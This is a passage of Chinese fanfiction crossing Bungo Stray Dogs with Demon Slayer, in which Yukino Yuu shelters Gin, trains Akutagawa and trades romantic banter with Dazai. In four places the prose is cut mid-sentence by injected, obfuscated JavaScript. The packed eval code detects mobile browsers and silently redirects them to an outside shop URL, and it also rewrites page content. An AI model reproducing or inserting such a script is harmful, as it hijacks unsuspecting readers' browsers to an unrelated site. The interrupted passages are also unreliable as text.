雪野夕既然是被叫过来的,那她当然要先找找自己被叫过来的原因。 比如不远处崩塌了大半的土石屋子,外墙墙根处正蜷缩着一个瘦骨嶙峋的小女孩,呼吸微弱得就像刚出生没多久的幼猫。 顺风而来的血腥动静越来越多,无论如何,她倒也不能眼睁睁地看着一个营养不良的小女孩被波及其中。 雪野夕走了过去,听见猫崽一样的小孩嘴里还在哼哼唧唧说着什么。 似乎是在叫“哥哥”? 这种命运重现的感觉让她一下子想到了第一次见到时透无一郎的时候。 他现在已经暂时走上了与原本命运截然不同的道路。 她将女孩从地上抱起来,用宽大的和服袖子裹好。 命运无法预料,但从来不是不可变之物,她无法改变所有事,可眼前之物,一定要牢牢握在自己手中。 栗子酱的声音在脑海中响起,呼唤着她赶到另一个地方与太宰治汇合。 ……现在在她怀里的孩子,与他有什么联系吗? 见到她时太宰治正坐在树上,双手向后撑着树根,双脚晃晃悠悠的,身上的黑色大衣此刻转移到了身边挨一些的男孩子肩上,对方眼神有些呆滞,身上还溅着些零散血迹,同样一副见风就倒的纸片人模样。 头发半长不短,还有些干枯毛燥,脸颊两缕公主切发尾是白色,乍一看让他有些像只黑毛垂耳兔。 “夕酱~”太宰治尾音上翘,从树上跳下来,“你已经接到小银了呀。” “看吧,我说过了,没事的哦。”他转身对那个男孩说话的语气就要低沉一些,“怎么样?我说过的,我可以给你一个未来活下去的意义。” 男孩僵硬的眼球转动了一下,身躯似乎还沉浸在不久前的杀戮中,最终他的眼神落在了雪野夕怀里的女童身上。 “小银……” 他又低下头亦步亦趋地走到太宰治身旁,呆呆地站定不动了。 “还以为你在被人暴打呢。”雪野夕把半昏过去的女孩往上抱了抱,“这孩子应该营养不良,怎么办?先带到港口mafia的医院里输液?” “小银暂时要拜托夕酱照顾哦。”太宰治像个把流浪兔子捡回来向她炫耀的饲主,“这是我新发掘的下属,芥川龙之介,芥川君。” 雪野夕没有错过他吐出“芥川龙之介”这个名字时男孩眼中的狂热。 但是芥川龙之介? 和捡来他的太宰治? “总感觉有什么东西搞反了。”她很唯物地表示,“但我还是很激动的。” “激动?”太宰治愣了一下,“……栗子酱有告诉过我一些夕酱的过去哦。” “嗯?” “夕酱以前最喜欢的作家是谁?”他稍微嘟了下唇,语气像是不经意间地撒娇。 “阿加莎老师。”雪野夕表示,“我有她的全套书哦。” “那……” “江户川乱步。” “嗯……” “芥川龙之介。” “啊?” “夏目……” “你的世界里我就那么差劲吗?”太宰治终于忍不住瞪圆了眼睛。 “你和上述不是一个风格的?”雪野夕回忆了一下以前自己读书的感慨,“太宰治嘛,在我的心里更有艺术家的气息?” “所以【太宰治】不是夕酱喜欢的风格?”这句话被他问得有些气短,就像是从高处扔下一块石头,他明知道会有落地的那一刻,但在被砸到的前夕仍抱有落在身上也不会痛苦的幻想一样。 “从写作的内容来看,也许那个【太宰治】确实是我有点敬而远之却又被吸引的风格……”雪野夕侧过身凑近了他,“但我可是分得很开的哦,细致的感情永不会让人腻烦,这点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566986|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恰好是【太宰治】最打动人的地方呢。” “而我没有遇到过写出细腻文字的【太宰治】,却幸运地结识了一个更加鲜活的人啊。”她没有停下,“……说到底,我对这些人的所思所想,一开始也不过来源于世界造物主的设定罢了,太宰也会认为【雪野夕】很差劲吗?” “当然不会!” 遭到了像猫咪炸毛一样的强烈反驳。 “那是当然了!”雪野夕在这种时刻向来不怎么谦虚,“喜欢我,这点谁都无需自卑。” 在一人带着一个小孩进医院让医生给他们来了个全面大体检后,他俩一起坐在休息室等候体检报告结果。 也许太宰治是被她那句“喜欢我你无需自卑”镇住了,现在正处在看天花板看地板看医院的椅子就是不看她的状态。 奉行既然要追求喜欢的人当然是一不做二不休信条的雪野夕非常喜欢看她直球后对方无所适从的姿态,此时正和太宰猫猫进行一场眼神躲避赛。 ……但在已知的时间点,她好像面临着“双方总有一个还没成年”的罪恶感。 想到这里,自信心爆棚的雪野小姐终于发出了在想要实施“实在不行能不能强制爱”措施后的第一声长叹。 也许是这声叹息实在是太过沉痛了,让太宰治直接笔直地坐好,将视线投注到了雪野夕脚下的一块地板上。 这可能是今晚医院里最亮堂的一块瓷砖,小小的白炽灯光晕正好汇聚在上面,盯着久了眼睛里都会流出泪来。 大脑仍然有点宕机的太宰治在心中懊恼。 未来的自己,到底对雪野小姐说了什么啊? 如果记忆没有改变,那不就说明…… 说明、他将来一定会被拿下吗…… 说到底他为什么会下意识觉得是他被拿下啊? “你吃晚饭了吗?”头顶传来雪野小姐和煦的问话声。 “……稍微吃了一点。”这种垂头丧气的感觉,连按部就班的计划都有些实行不下去。 站在门口的医生有点奇怪屋里的氛围为什么这么,呃,沉痛? 但基于职业操守,她还是敲了敲门,“这两个孩子都有一定程度上的营养不良,男孩的肺部疾病……” 医生来来回回嘱咐了一大堆,雪野夕都一一记下来,话音未落,走廊就传来几声惊呼。 视线尽头,把针头随手拔出来的芥川龙之介死死拽着手里的黑色大衣,瘦弱的身体直挺挺地站着,眼神慌乱地四处寻索着,直到看到光亮处的太宰治,吊着他的那口气才迅速松懈下来。 “他是真的很喜欢你啊。”雪野夕心情有点复杂,“啊,又要回避这种感情了吗?太宰君?” “下一步不会是准备躲起来,很长时间不出现在我面前吧?” “虽然觉得真心可贵,但同时觉得真心瞬息万变什么的……” 看着被众多医护人员围起来的芥川龙之介,雪野夕再次一记直球—— “一开始就因为害怕失去而选择不去开始……” “那我可能就要尝一下强扭的瓜了哦。” 35.关于长高 芥川龙之介不愧是某种克制太宰治的存在。 这孩子也许是被横滨的环境狠狠折腾了一遭,身体又不太好,因此对自己总是有种……莫名的自卑。 这种气质在不少人身上都很常见,自厌与无奈交织,即使知道自己拥有异能力,但心却总是被囿困于狭小的偏见之中。 在这方面,我个人最欣赏中原中也先生。 身为难得的港口mafia良心,本人除了美貌,心智大概也要成熟很多。 (太宰治留言:划掉!快划掉!为什么要欣赏黏糊糊的小蛞蝓啊!) 这行字下面还绘制了一个撒泼打滚的小人。 ——【雪野夕の日记,5月10日。】 “夕酱,你知道我这些天……过得有多么痛苦吗?” 太宰治躺在一堆抱枕堆里,用一种他独有的有气无力声音抱怨,听上去就像是在两颊含了糖块,还怪可爱的。 “这好像不是你在我的日记上乱画的理由吧。” 雪野夕正在往自己的玻璃杯里扔冰块,等到麦酒一直涨到与杯口平齐,她才停下动作。 唔,赞美珠世小姐。 如果不是她的潜心研究,她现在岂不是要在杯子里倒上一杯鲜血? 然后再将杯子换成高脚杯,向后倚靠在宽大的软椅上,目光忧愁地看向远方。 当太宰治的声音传来,拿着杯子的她收回视线,抿唇一笑,用淡然的声音说出一句—— “你的痛苦我都心疼,想为你解决。” 沉浸在自己脑补中的雪野夕终于忍不住笑了出来,甚至肩膀都在抖动。 抱着彩色抱枕的太宰治:? 雪野小姐又怎么了? “虽然已经提前预想到了,但芥川他……” 猫咪轻微鼓了下脸颊,自顾自地说下去,“明明根据敌对势力的行动是拷问出下一步情报……但这已经是第二次了!连活口都不带回来……” 他悄摸摸伸出了试探的爪子,“芥川的异能力一定程度上也与空间相关哦,不如……” “这个解决不了。”迅速从幻想中清醒的雪野夕一秒恢复面瘫脸,“那孩子目前只听你的话。” 还是小银比较可爱,见到哥哥平安无事后,失落了一段时间,就开始努力吃饭和训练,现在已经开始跟魏尔伦学习暗杀技术了。 “哎?毕竟他的格斗能力太弱了。”太宰治在抱枕堆里打了个滚,闷闷地声音透过枕头传过来,“……还有几年。” “连我的无效化都能轻易压制他。”头毛乱糟糟的黑猫“腾”一下坐起来,“啊啊,这些无聊的事情,好烦心!” 龙头战争终于在前不久结束了,而太宰治也成功当上了港口mafia历史上最年轻的干部,对此,森先生的毫无波澜。 ……以他的心态,毫无波澜才算是最大的波澜吧? 雪野夕想起头顶上首领办公室内那广阔的视野,站在窗边,就能最大限度地俯瞰众人所热爱的城市,在清晨时欣赏朝阳,在落日时品尝名酒都再惬意不过;标志性的大楼内,无时无刻都有人在进进出出,他们中有年轻有为的异能者,有同样深爱横滨,愿意为此付出生命的热血者……他们就像耀眼夺目的宝石一样装点着这个组织。 而身为首领,既是组织这顶王冠上最闪烁的明珠,同时也是要承担起王冠份量的人。 ……也要提防静水深流中,无数双觊觎王冠的贪婪眼睛。 即使这片水域中只有一人。 “森先生,具有王的潜质。”雪野夕想起了以前太宰治的评价。 然后就看到听见这句话的猫咪炸毛了。 他看起来像是想要挠死以前说这话的自己。 想到目前每天写小说都很开心,除了被催更时和卡文时恨不得消失的织田作之助,雪野夕伸手弹了两下玻璃杯的杯壁,冰块在杯中轻轻碰撞,酒液晃动,溅射出微小的涟漪。 “好吧,不过那孩子的身体……可不适合剧烈运动哦。”雪野夕品尝了一口杯中苦里带点酸甜的味道,“看来应该去跟中也学习一下?或者是织田作?” “不要!”太宰猫咪强烈反对,“芥川不是小孩子了!我们遇到的时候我也和芥川君一样大呀!而且为什么会有那只小蛞蝓啊!” “所以你也是小孩子。”雪野夕毫不犹豫地反驳,“根据内部人员的投票,中也看上去更加靠谱。” 其实也有即使是私下投票,底下的员工还是不敢光明正大地提起太宰治名字的缘故。 她无视太宰治凑上来不服气地争辩“我才不是小孩子了还有小蛞蝓不可能比我靠谱”之类的,带好帽子,调整了一下自己的姿态—— 感觉变成成年人的形态,会比较有信服力呢。 以及自己当前身高171,成功比太宰治高一截,爽到了。 雪野夕比划了一下彼此的身高差,成功看到了他气鼓鼓的表情。 “未来的我肯定比夕酱高嘛。”他把自己刚刚蹭乱的领口整理好,“不然夕酱就不会现在这样啦。” “雪野啊,任务报告看完了吗?”门口的中原中也敲了敲门,按着帽子走了进来。 当然,一进门,重力使那出色的观察力就帮他找到了重点。 “你是怎么长高的!!!” “哈哈哈,黑漆漆的小矮子不会在背地里搜索长高秘籍吧?” “混蛋青花鱼!我都说了!我还在!生长期啊!” “不要打了,你们都不要打了。”装模作样伸手阻止的雪野夕在旁边看着中原中也不遗余力地单方面暴打太宰治,“来杯麦酒吗中也?” 作为同事,他俩还在一定程度上是酒友,虽然中原中也的酒量真的不算太好,而且时不时就会在喝醉后变身横滨歌姬,但有这样的朋友,何愁得不到快乐呢? 雪野夕每次在中原中也喝醉后,都会亲自录像,动用她血鬼术的尊严,画质清晰,丝毫没有晃动,音色丝滑,一点也耽误不了孩子出道。 顺便再说一句,连森先生都有一份录像呢。 “可恶的太宰治。”她遗憾地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582518|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关上了门,并且堵住了最后的逃生路线,“居然敢偷偷录中也你喝醉的视频发给我们,当然我们之中没有人收藏,但这条青花鱼这次实在是太过分了,我支持你狠狠地教训他。” “我还有事,就先走了。” 说着,她挥挥手消失,不带走一丝云彩,只留下原地脸黑得快要爆炸的中原中也以及被衬衫勒住脖子的太宰治。 她愉快地下楼,直奔一片由自己人控制的空地,时隔多日见到了垂耳兔子芥川龙之介同学。 这孩子看起来……更犟了。 而且他的刘海怎么了?是哪个手艺不好的发型师剪的? ……不会是太宰治吧? 以及他比目前的太宰治和中原中也都要矮一些……虽然快追上中也了? 强迫自己收回奇怪的想法,她对上对方触目惊心的视线。 像是野犬找到了归宿后便死死咬住不放的眼神,他用沙哑的声音问:“太宰先生呢?” 听上去非常不遵循医嘱。 广津柳浪带着一群黑衣人将他围在中央,个个持枪,见到她来时才停止了射击。 “雪野小姐。”老爷子优雅地欠身行礼,“您怎么来了?” “是太宰委托我来教导一下这孩子的异能力哦。”她转动了下手杖,看向即使气喘吁吁,但听到了太宰二字后又强行打起精神的少年,“你还能战斗吗?” “如果……你就是太宰先生为在下选定的敌人的话。”黑色的大衣悄然伸出一角。 “也可以这么说?”雪野夕点头,“不过要是叫我老师的话……” “那就先打败在下!罗生门!” 外套被异能力控制,张牙舞爪地冲了过来,气势汹汹的样子与主人苍白的脸色形成了鲜明的反差。 “锵——” 黑兽停止在雪野夕面前,无法再前进一步。 “你们先向后退。”雪野夕拿下自己的帽子交给广津柳浪保管,“真是有干劲的孩子。” 一击不中,黑兽迅速后退,显然是要为下一次攻击积蓄力量。 少顷,分散的的罗生门再次袭来,被雪野夕用手杖一一格挡,连同从地下偷袭的也一并击退。 拉进距离只在一瞬间,那根平平无奇、打开可以变成遮阳伞的手杖就轻轻点了点芥川龙之介的箭头。 末端传来他风箱一样的呼吸声。 血液的流速,心脏的收缩,呼吸的节奏,从而影响到攻击的频率与进攻的姿态。 甚至作为一个肺病病人,他的呼吸末端短而轻,但很快就会被他下一次更猛烈却狼狈的吸气而遮掩过去。 这样的打架方式,不啻于在时刻透支着自己年轻的生命。 “调整呼吸。”她将冰冷的手杖抵上他喉间的气管,“是不是感觉身体无法动弹了?” “连身体状态也无法控制自如的人,异能力就更没有办法发挥作用了。” “毕竟——”她说出了一句让芥川龙之介随时随地立刻爆炸的台词,“你也不想让太宰失望,对吧?” 36.执行任务 教导芥川龙之介,是我这辈子做出的比较错误的决定。 因为这孩子实在是太犟了。 在港口mafia这种听起来就不像是什么正义联盟的组织里,太过倔犟也许不算好事? 这只垂耳兔的肺病严重,但身体又因为自己过于内卷而失去了好好休息的环境,因此太宰治只能拜托我来教导他呼吸法。 芥川……脾气适合风之呼吸,身体情况……无法呼吸。 ——【雪野夕の日记,5月30日。】 “听说你让中也把太宰打了一顿?” 办公室里,首领非常微妙地询问雪野夕,“太宰君毕竟是港口mafia的干部……” “所以我没雇佣组织外的人打他?”雪野夕反问,“芥川明明是他的直属下属吧?我现在每天要教他体术……好累。” “哎呀,毕竟是个非常有干劲的孩子啊。”说到这个,森鸥外自然地转移了话题,“能为组织培养强大的异能者,这也是你的责任哦,雪野。” “是啊是啊。”雪野夕现在是七八岁的模样,坐在椅子上摇晃着双腿,一点也够不到地面,“毕竟看那孩子的眼神,就知道他绝不会离开这里啦!” “确实。”他看着身边的爱丽丝,“不过雪野啊,你真的不能一直保持现在的模样吗?” “……” 只是因为最近一直被芥川龙之介随时随地拽住,然后听他大喊——“在下一定要战胜你!”没怎么有时间休眠恢复能量,所以保持小孩子状态比较省力,但听到上司这么说…… “不要用那种鄙视的眼神看着我啦!”森鸥外露出了伤心的表情,“我只是在关心下属的身体健康啊,如果那孩子还算过关的话……” “那种程度的任务,也是可以做到的吧?” 最后的问句,被他的语调拉得又平又直,几乎是在下达命令的程度了。 芥川龙之介今年也才不过十四岁,但被森先生招进来的员工,年纪也都不算大。 所以这次算是……考验? “我知道了,首领。”雪野夕从椅子上跳下来,微微躬身行礼,“我会转达您的命令。” “很好。”森鸥外微微向前探了探身,露出他惯常的微笑,“交给雪野完成的任务从未有过失败,我相信被你和太宰君教导的芥川君也是一样的。” 从办公室退出来,雪野夕有点疲弊地叹了口气,果然,能成为王的男人首先要有的就是疑心病啊。 不过说起来,在港口mafia这种地方,跟别的干部搞好关系对上位有用吗? ……也许有用,但以太宰治的智商,就算没见过面,也还是能指挥得动下属替他出生入死吧? 那么,是为了她听过的【三刻构想】吗? 与代表白日的异能特务科和代表黑夜的港口mafia比起来,代表黄昏的武装侦探社仅仅占据了钟表上很小的一块,但确是不容小觑的一环。 更何况他们还拥有森先生非常在乎的一个东西——异能营业许可证。 首领啊……你近日如此关心组织内的异能者情况,是在衡量你的“宝石”们,谁才能替你将想要之物换回来吗? 忧心忡忡地绕过走廊转角,眼前得体的黑色西装与橙色发丝的冲击实在让人眼睛一亮。 “啊,是雪野。”中原中也又看到了同事七八岁的样子,语气下意识缓和两分,“怎么愁眉苦脸的?” 头发也被编成两条麻花辫了……是刚从首领办公室出来吗? 一瞬间,他的脸色奇奇怪怪。 “那个操纵空间的人在哪里?在下要和她决一死战!” 好巧不巧,走廊另一侧还传来了芥川龙之介咬牙切齿的声音。 雪野夕:…… “喂,你……”脸色严肃的芥川龙之介先是向中原中也问好,然后低头看见了雪野夕。 “你、别以为变小了就能逃脱在下发起的决斗!” “太宰跟你说了什么啊?”她忍不住双手拉住自己的帽檐两侧,把脸挡得严严实实,“比试什么的,不要!” “哼,与这种模样的人比试,在下确实胜之不武。”芥川龙之介没几根的眉毛皱在一起,“我……” “这么说来,你现在体力充沛?”雪野夕微微歪头,“那么——” 随着她拍手合掌时发出的一声脆响,芥川龙之介的身影当场消失在原地。 “空间传送?”中原中也下意识按住了自己的帽子,“你把他送去哪了?” “任务地点。”雪野夕也看到了他那顶宝贵的小圆帽,“刚刚首领的命令,有任务需要芥川君执行哦。” “喂?这样做真的好吗?”中原中也反问,“芥川那孩子加入港口mafia似乎还不到一个月?而且我记得雪野你跟我说过,他有肺病?” “此次任务对象中没有异能者,对于芥川君来说,没有什么危险。”雪野夕感叹他居然把一个新加入的成员记得这么清楚,“但他有些过于执着和要强了,有的时候,过于钻牛角尖也会伤害自己。” “……好吧。”他低声叹气,“你这么说了,我就去看一下他吧。” 此时正是白日,雪野夕不方便出门,但中原中也刚好要出去执行任务。 ……无论如何,森先生也不会允许自己一次性失去两颗钻石的。 “谢谢你,中也。”雪野夕终于露出了今天最诚恳的笑容,“你真是港口mafia唯一的良心啊!” 随着她的响指,中原中也只觉得自己的帽子上微微一重,同时还有微微香气传来。 他伸手探 去,从帽子上取下了一朵开得正好的晚樱。 “那么,漂亮的重瓣樱花送给你装饰帽子哦。”雪野夕挥手,“这可是刚刚摘下来的,我要回去睡觉了。” “干、干嘛突然送花啊?”被拜托后会很酷地答应对方、令人闻风丧胆的重力使,差点控制不住把浅粉的樱花捏碎,随后又小心翼翼地拿好了。 “我才不会在帽子上装饰鲜花呢。”他不自在地瞌睡一声,“但总之……谢谢你。” 自觉搞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592580|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定一切的雪野夕一觉睡到了晚上,醒来的原因不是自然醒,而是她听见了办公室门外非常幽怨的挠门声。 打开门,她就在门口看到了一坨,呃、人形怨灵吗? 感觉外面都是黑漆漆的啊! “夕——酱——”黑泥精蠕动着进入了她的办公室,“下次不要把芥川突然传送去任务地点啊!这次又!没有留下一个活口!” “线索!又断了!” “啊嘞。”她微微歪头,“原来今天你也在吗?” “毕竟芥川是我的直属下属嘛。”他熟练地找到自己最常抱着的抱枕,“栗子酱今天也不在,我好伤心。” 被当做枕头枕了一下午的栗子酱也忧愁地落在他肩头,伸出翅膀拍了拍他。 同病相怜啊,都是在负重前行。 太宰治眼神平直地盯着办公室内一角。 这个房间非常空旷,就在森先生的办公室正下方,拉开厚厚的遮光窗帘,就能一览无余地欣赏到横滨的夜景。 包括远处波澜起伏的海洋与公园一角内盛开的正好的重瓣樱花。 即使没有拉开那片窗帘,他也能想象得到夜樱的美丽,何况此时正是花期最佳的时候。 “……很美丽吧?雪野小姐?”埋在抱枕里的人最终只是轻轻问了一句,声音比花瓣都要脆弱。 “什么?”雪野夕正进行着日常醒来后就来一杯冰水的惯例,就听到了悲观主义者的喃喃自语—— “……樱花一定很好看吧?” ……自己真的想要听见雪野小姐的回答吗?不、不是的,他不想问的。 问出口的那一刻,太宰治就像是咬到舌尖那样将疑问吞了回去。 “是哦。”雪野夕拿杯子的动作没有一点停顿,不过转身就把装满了冰块的杯子往这条青花鱼脸上一怼。 “啊,好凉。”猫猫配合地小声“嗷”了一嗓子,勉强收敛好脸上有点颓废的表情。 “所以是樱花很好看还是绣球花更好呢?”看清她脸上的神情后,他才凑过来不依不饶地追问,鸢色的眼眸中反射出了一点灯光,但也就更映衬出内里的黑暗,“绣球花的花季也在最近哦?” “我不喜欢那种借物喻人呢。”雪野夕收回杯子,“除非你现在告诉我,你是猫咪变的哦。” 在她毫不退让的眼神中,太宰治率先一步移开了眼睛,“……哦。” “听说最近芥川君一直在找你挑战。”他默默换了个话题,“我马上……” “先来解释一下。”一只手伸过来揪住了他转过去的脸颊,“今天栗子酱不在,是谁告密的?” “怎么可以算是告密!”也许是被揪住脸颊的熟悉感让他多了点底气,虽然说话有些口齿不清,但这次理直气壮多了,“夕酱干嘛要送那条小蛞蝓花啊!” 雪野夕看到他即使被揪住脸颊,嘴巴也在喋喋不休撒娇的样子,虽然还是用绷带缠住自己一半的面庞,但比刚刚冷不丁地问“樱花好不好看”这种问题时要鲜活很多。 ……小青花鱼,好可爱。 37.月色黎明 教导芥川学习体术的第二个月,疲惫。 白天出门被约战,晚上出门被约战,不得已过上每天锁门只能靠异能进出的日子。 作为一个主要靠异能力来输出的人,其进攻习惯无论如何也不会完全脱离异能的影子。 更别说芥川龙之介这种丝毫不顾及自己,满脸写着“鄙人的敌人通通下地狱吧”的人。 看来让他学会呼吸法,还是任重而道远啊。 可恶的太宰治!最近又在搞什么!为什么完全见不到人了!我命令他每次在芥川打完架后亲自把他领走啊! 还是小银最可爱,说话的声音也温柔腼腆,果然也应该送她一点花吧。 ——【雪野夕の日记,6月3日。】 酒吧内,略有些昏暗的灯光照射在吧台上,太宰治百无聊赖地戳着酒杯里的冰球,时不时还要叹上一口气。 没过多久,没听见身边友人的开解,他干脆夸张地向前一扑,脑袋枕在自己的胳膊上,另一只手去轻弹杯壁引起些动静来。 柔软的发丝就随意地垂落下来,脸颊上的绷带也有些皱,身后的西装大衣严丝合缝地笼罩在少年身上,只是主人无精打采地样子让他像极了一只失落的小黑猫。 “不必理会他,织田作君。”与太宰治同岁的坂口安吾喝了一口自己点的番茄汁,“他现在这副模样,与你的纵容也有很大关系啊。” “哎?安吾真是残酷啦!”原本趴在桌子上的猫立刻“唰”一声直起身体,“难道你已经连聆听朋友的情感烦恼都不肯了吗!” “哈?”带着眼镜、一脸正经的坂口安吾差点把番茄汁咽进自己的气管里,“情感烦恼?太宰你?” “也对。”被喊到名字的猫有恹恹地瘫下去,“像安吾这种社畜,应该是不会出现在夕酱的日记本里的吧?” “果然应该像织田作取取经吗?”他又兴致勃勃地转向另一边,“织田作!请告诉我怎么才能成为你这种被夕酱夸赞很有母亲感觉的男人吧!” “……等一下。”被点到的红发青年一脸懵逼,“我有母亲的感觉?” “是啊是啊!难道是织田作收养了五个孩子的原因吗?” “啊……这个我也很好奇呢,织田作君。” “安吾原来对这个也很不解吗?”太宰治小小地“哇哦”一声,“果然养孩子是世界难题呢。” 最近雪野小姐好像也因为在养芥川,所以每天非常暴躁。 还被她用装过冰块的杯子冰了一下……但是那天晚上被雪野小姐亲吻了哎! ……虽然只是额头。 想到这里,他的视线有点游弋。 好在织田作之助的询问很快就来了,“养孩子确实有一点难度,但好在幸介他们都很懂事……太宰,你说的情感烦恼,对象是雪野?” “是哦。”说到这个,猫咪立刻进入状态,“啪”一下泄气回到瘫在吧台上的猫饼状态,“雪野小姐说她喜欢我……” “咳咳!”另一半的坂口安吾,这次是真真切切的气管里进了番茄汁,“我最近加班应该没有劳累到出现幻觉的地步吧?” “安吾,我真的要哭了哦。”太宰治故作夸张地叫喊起来,“这是真的啦!” “这种时候应该考虑自身的接受意愿?”织田作之助倒是老老实实地建议,“雪野小姐应该比你可靠很多吧。” “哈。”太宰治猛一下将杯中的冰球全部浸没在了琥珀色酒液中,“但雪野小姐夸过好多人!” “她说过织田作你富有母亲的感觉,说过中也那条小蛞蝓很像她以前的朋友所以很喜欢,说过红叶大姐简直太美丽了,说过芥川君很像可爱的垂耳兔,小银和他一样,甚至脾气更好一些,说过某个人的美貌像黑夜中升起的太阳,说过武装侦探社的乱步先生又聪明又好看……” “她甚至夸他像猫咪!”同样被猫塑的人喋喋不休地抱怨,“猫塑别人是坏文明!” 而且这根本不是全部!在另一个世界的时候,雪野小姐也把鬼杀队从上到下都夸赞了一遍,直接跟甘露寺蜜璃成为了好朋友。 果然像她这样的人,无论如何也不会招来讨厌吧? 安静下来的时候像是冬日森林,即使不说话也能欣赏一整日呢。 “……这些称赞是真实的吗?”坂口安吾忍不住推了推自己的眼镜,港口mafia的空间使雪野夕,这种展开跟他收集到的情报似乎不符啊。 “就连首领,雪野小姐也觉得他别有一番风味。”太宰治觉得说出这句话的难度简直堪比现在就吐出一堆夸赞中原中也的话来。 而听到这番话的人同样如此,看得出来织田作之助和坂口安吾都觉得自己受到了一场惊吓。 “所以说……”冰球终于缓缓融化在了杯中,只余下手指尖触及到的一小块,那种冰冷的感觉传递到脑海,跟那夜落在脸上的杯子一样凉。 还有雪野小姐的那轻轻触碰额头的吻。 都是冷的。 他不是想知道她为什么要送樱花给黏糊糊的小蛞蝓吗?为什么在那之后就直接离开了办公室啊! “雪野小姐……” 杯子里最后的冰块也消融进酒液中,除了温度再无任何踪迹证明它来过。 她为什么就不能只在本子上写下我呢? “说好我不同意就会把我关起来的,结果只是说说吗?”平日里像风中精灵一样的少年此时有点郁郁不乐,干脆利落地将杯中颜色愈发浅淡的酒液一饮而尽,但那张也浸染了酒水色泽的唇吐露出了相当惊人的内容。 “我应该没点酒精啊。”坂口安吾自信地检查了一遍杯底,“难道现在酒吧里的空气都能让人喝醉了吗?” “像你说的那种手段应该是犯法的。”加入了武装侦探社的前杀手此时也非常遵纪守法地劝导好友,“……而且雪野不像是这种人。” “那为什么雪野小姐不能就是这样的人呢?”太宰治眼睛里似乎燃起了一朵小火苗,他将杯子往前一推,意思是“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603623|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再来一杯”,嘴上接着抱怨,“真的会有人对恋人的占有欲很低吗?明明我知道有属下去告诉她我每晚都出来喝酒了!但她居然什么都不问我!” 虽然那些属下并不是他刻意安排的,可是雪野小姐以前在他故意不吃饭的时候会冲进他的办公室喂他哎! ……何况一言不发冷着脸的样子现在回想起来也太可爱了吧! “因为是朋友,所以不会过多干涉。”织田作之助一板一眼地重复了雪野夕的原话,“雪野是这么说的,她还说带孩子真的好烦,垂耳兔到底是谁的属下。” 坂口安吾吐出一口气,“我觉得她很正常,刚刚那些话不会是太宰的臆想……” “那她就是故意不理我吗?”脑回路异常的太宰治顿时大叫,“怎么可以这么快就变心!” “不是,等等!”刚刚那句话里有哪个字提到变心这种事了吗? 不对,雪野夕到底有没有追求过太宰治啊! 为了搞清楚“到底要不要主动去找雪野小姐”的选项这两天恨不得把叶脉上的每一根经络分清的太宰治快要纠结死了。 ……让他亲口问出答案,这跟让他以后好好活着并且天天吃养生补品有什么区别。 告别两个朋友后,又变回孤身一人的太宰治穿过横滨纵横交错的小巷,今日无风也无云,抬头只能看到明亮的月亮。 而他今夜没有任务,又因为喝了几杯冰冷的酒液毫无倦意。 一个人在城市中穿梭,就这么在初夏的月色里游荡直至黎明,感觉应该不算坏吧? 不知道一直不休息,直到身体的极限来临,算不算一种新奇的自杀方式呢? “果然,漫无目的的猫会被人捕捉哦。” 在看到了一颗非常合眼缘的树后,太宰治正想熟练地进行他的日常成就时,头顶传来一个再熟悉不过的女声。 “夕酱怎么在这里?” 看着小青花鱼故作惊讶的姿态,雪野夕忍不住磨牙——如果真心想玩消失,谁能找得到你啊! “因为熟悉的猫咪不见了,说不定已经自动把自己划分到了流浪猫的选项里面,所以我就只能出来找找了。” “……哦。” 猫咪老实的也非常快,这种平时撒娇卖萌很熟练,但要真正交付真心与信任却又很苦手的姿态…… 还有在灯下目光闪躲,不知道该不该抬头直视书上的她的模样。 雪野夕从树上跳了下来,猛然靠近他。 这个年纪的少年身高一天一变,此时的高度已经近乎与现在的她平齐……这么想来这种机会少有了啊。 “太宰君——”她扯住了他手臂上的绷带,强硬地止住他下意识想要后退的步伐。 “你知道那天晚上我为什么要那样做吗?” 雪野夕的询问像是自言自语,但好在她本来就没有打算听到太宰治的回答。 “……哎?” “我是觉得,太宰君很可爱,所以才会靠近的。” 